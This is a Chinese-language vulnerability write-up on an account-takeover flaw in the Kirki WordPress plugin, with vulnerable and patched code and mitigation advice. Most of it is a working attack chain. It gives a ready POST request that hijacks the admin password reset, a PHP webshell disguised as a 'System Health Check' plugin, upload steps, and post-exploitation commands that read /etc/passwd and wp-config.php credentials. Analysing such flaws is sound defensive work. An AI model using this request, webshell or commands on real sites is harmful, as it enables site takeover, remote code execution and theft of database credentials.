CVSS v3.1 9.8 / 10.0 严重
向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 是 Kirki Customizer Framework 中的一个未经身份验证的帐户接管漏洞。Kirki Customizer Framework 是一款流行的 WordPress 页面构建器插件,拥有超过 90,000 个活跃安装。攻击者只需发送单个 HTTP 请求,即可利用该漏洞接管任意 WordPress 帐户(包括管理员帐户)。
该漏洞位于 ComponentLibrary 模块的 REST API 端点 kirki-forgot-password 中。该端点允许为任意用户请求密码重置,并将重置链接发送到攻击者指定的电子邮件地址,而不是该用户注册的电子邮件地址。
| 信息 | 详情 |
|---|---|
| 插件 | Kirki Customizer Framework(WordPress 页面构建器) |
| 受影响版本 | 6.0.0 – 6.0.6 |
| 已修复版本 | 6.0.7(或 6.0.12+) |
| 漏洞类型 | 通过密码重置电子邮件劫持实现未经身份验证的帐户接管 |
| 端点 | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password(或 /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 严重 |
利用前提条件:
→ 所有安装了 Kirki 6.0.0–6.0.6 的 WordPress 网站默认均存在此漏洞。
Kirki 为组件库功能注册了 REST API 端点,包括登录、注册、忘记密码和修改密码。所有这些端点均允许访客访问(guest_permissions_check 返回 true)。
WordPress nonce 是一种 CSRF 防护令牌。Kirki 要求通过 X-WP-Element-Nonce 请求头提供 nonce,或检查请求中的 nonce 参数。然而,该 nonce 可以在客户端公开生成/提取。
WordPress 使用 get_password_reset_key() 生成密码重置令牌。Kirki 在发送电子邮件之前会将此令牌包含在邮件模板中。
文件: ComponentLibrary/controller/CompLibFormHandler.php
在存在漏洞的版本(6.0.0–6.0.6)中,handle_forgot_password() 函数不会验证所提供的电子邮件是否与用户注册的电子邮件一致。攻击者可以指定受害者的用户名和自己的电子邮件 — 重置链接将被发送到攻击者的电子邮件。
存在漏洞的源码:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
电子邮件的主题和正文通过 emailSubject 和 emailBody 参数从客户端接收,且没有任何 HMAC 签名来验证其完整性。攻击者可以任意修改所发送电子邮件的内容。
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| 因素 | 说明 |
|---|---|
| 无需身份验证 | guest_permissions_check() 返回 true — 任何人都可以调用该端点 |
| 可接管任意帐户 | 仅需用户名(默认:'admin')— 无需电子邮件/密码 |
利用 CVE-2026-8206 从零权限开始 — 无需帐户、无需密码、无需会话 — 仅使用 HTTP 请求即可实现完全的管理员接管。
阶段 1:提取 Nonce → 从公开页面获取 nonce(如需要)
阶段 2:劫持重置电子邮件 → 将重置链接发送到攻击者的电子邮件
阶段 3:重置密码 → 使用获取的重置密钥修改管理员密码
阶段 4:登录管理员 → 使用新密码登录
阶段 5:上传 Webshell → 通过插件上传安装后门
阶段 6:RCE → 在服务器上执行任意命令
从 wordpress.org 下载插件,直接打开 CompLibFormHandler.php 文件:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ 阅读代码可以得知:emailBody 必须是 JSON 数组,每个条目包含 type 和 value。如果 type = chip 且 value = reset_link,Kirki 会自动将重置链接插入电子邮件中。
直接在插件目录中执行 grep:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
编译后的前端代码将揭示所需的精确 JSON 结构。
发现端点(/wp-json/ 或 rest_route)
↓
阅读 PHP 源码 → 找到 $form_data['emailBody']
↓
理解 JSON 数组格式(type / value)
↓
阅读 chip_data 数组 → 找到键 "reset_link"
↓
构造 payload:emailBody=[{"type":"chip","value":"reset_link"}]
↓
测试 → 成功
攻击者向忘记密码端点发送一个 POST 请求,其中包含受害者的用户名(admin)和攻击者控制的电子邮件地址([email protected])。服务器为受害者生成重置密钥,但会将重置链接发送到 [email protected]。
发送请求:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

响应(成功):

攻击者邮箱中收到的电子邮件(MailHog,地址为 http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

攻击者使用从电子邮件中获得的 key 令牌,通过 kirki-change-password 端点或 WordPress 的默认表单修改管理员帐户的密码,然后登录并获取网站的完全管理控制权。

密码已更改,并使用 admin 帐户成功访问。

admin 帐户访问成功。
在获得管理后台访问权限后,攻击者通过 WordPress 默认的插件上传功能,将攻击从帐户接管升级为远程代码执行(RCE)。
攻击者创建一个伪装成合法 WordPress 插件的 PHP webshell:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
该文件被压缩为 system-health.zip,以便通过管理界面上传。
攻击者导航到插件 → 安装插件 → 上传插件,选择 system-health.zip 文件,然后点击立即安装 → 启用插件。

上传后,WordPress 会自动将 .zip 文件解压到服务器上的 /wp-content/plugins/ 目录,从而使 webshell 处于可运行状态。
攻击者通过端点 /wp-content/plugins/webshell-plugin/shell.php 直接访问 webshell。


RCE 成功。
此时,攻击者已具备在服务器上以 www-data 权限执行任意命令的完整能力。后续操作可能包括:
管理后台(帐户接管)
↓
上传包含 Webshell 的插件(.zip)
↓
WordPress 解压 → .php 文件驻留在服务器上
↓
访问 shell.php?cmd=<command>
↓
服务器执行命令 → 返回结果
↓
RCE 完成 — 在服务器上获得完整的 www-data 权限
| 当前版本 | 升级到 |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 或更高版本 |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
即使管理员帐户被攻破,也可以通过以下措施减轻损害:
| 影响:管理员接管 | 接管管理员 → 上传 webshell → RCE → 完全控制服务器 |
| 影响范围广 | Kirki 是一个被广泛集成到许多 WordPress 主题中的插件 |
| 命令 | 用途 |
|---|
id | 确认当前运行用户的权限 |
whoami | 查看当前用户名 |
cat /etc/passwd | 读取系统用户列表 |
uname -a | 查看内核/操作系统信息 |
cat wp-config.php | 读取数据库凭据 |
ls -la / | 浏览整个文件系统 |
| # | 阶段 | 方法 | 路径 |
|---|
| 1 | 劫持重置电子邮件 | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | 重置密码 | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | 登录管理员 | POST | /wp-login.php |
| 4 | 上传 Webshell | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| 措施 | 配置 |
|---|
| 阻止通过后台安装插件/主题 | 在 wp-config.php 中添加 define('DISALLOW_FILE_MODS', true); |
| 阻止从后台编辑代码 | 在 wp-config.php 中添加 define('DISALLOW_FILE_EDIT', true); |
| 限制上传目录权限 | 目录执行 chmod 755,文件执行 chmod 644 |
| WAF(Web 应用防火墙) | 部署 ModSecurity 或 Cloudflare WAF,阻止对 REST API 的异常请求 |
| 监控 | 使用 OSSEC 或 Wordfence 等工具监控 /wp-content/plugins/ 中的文件变更 |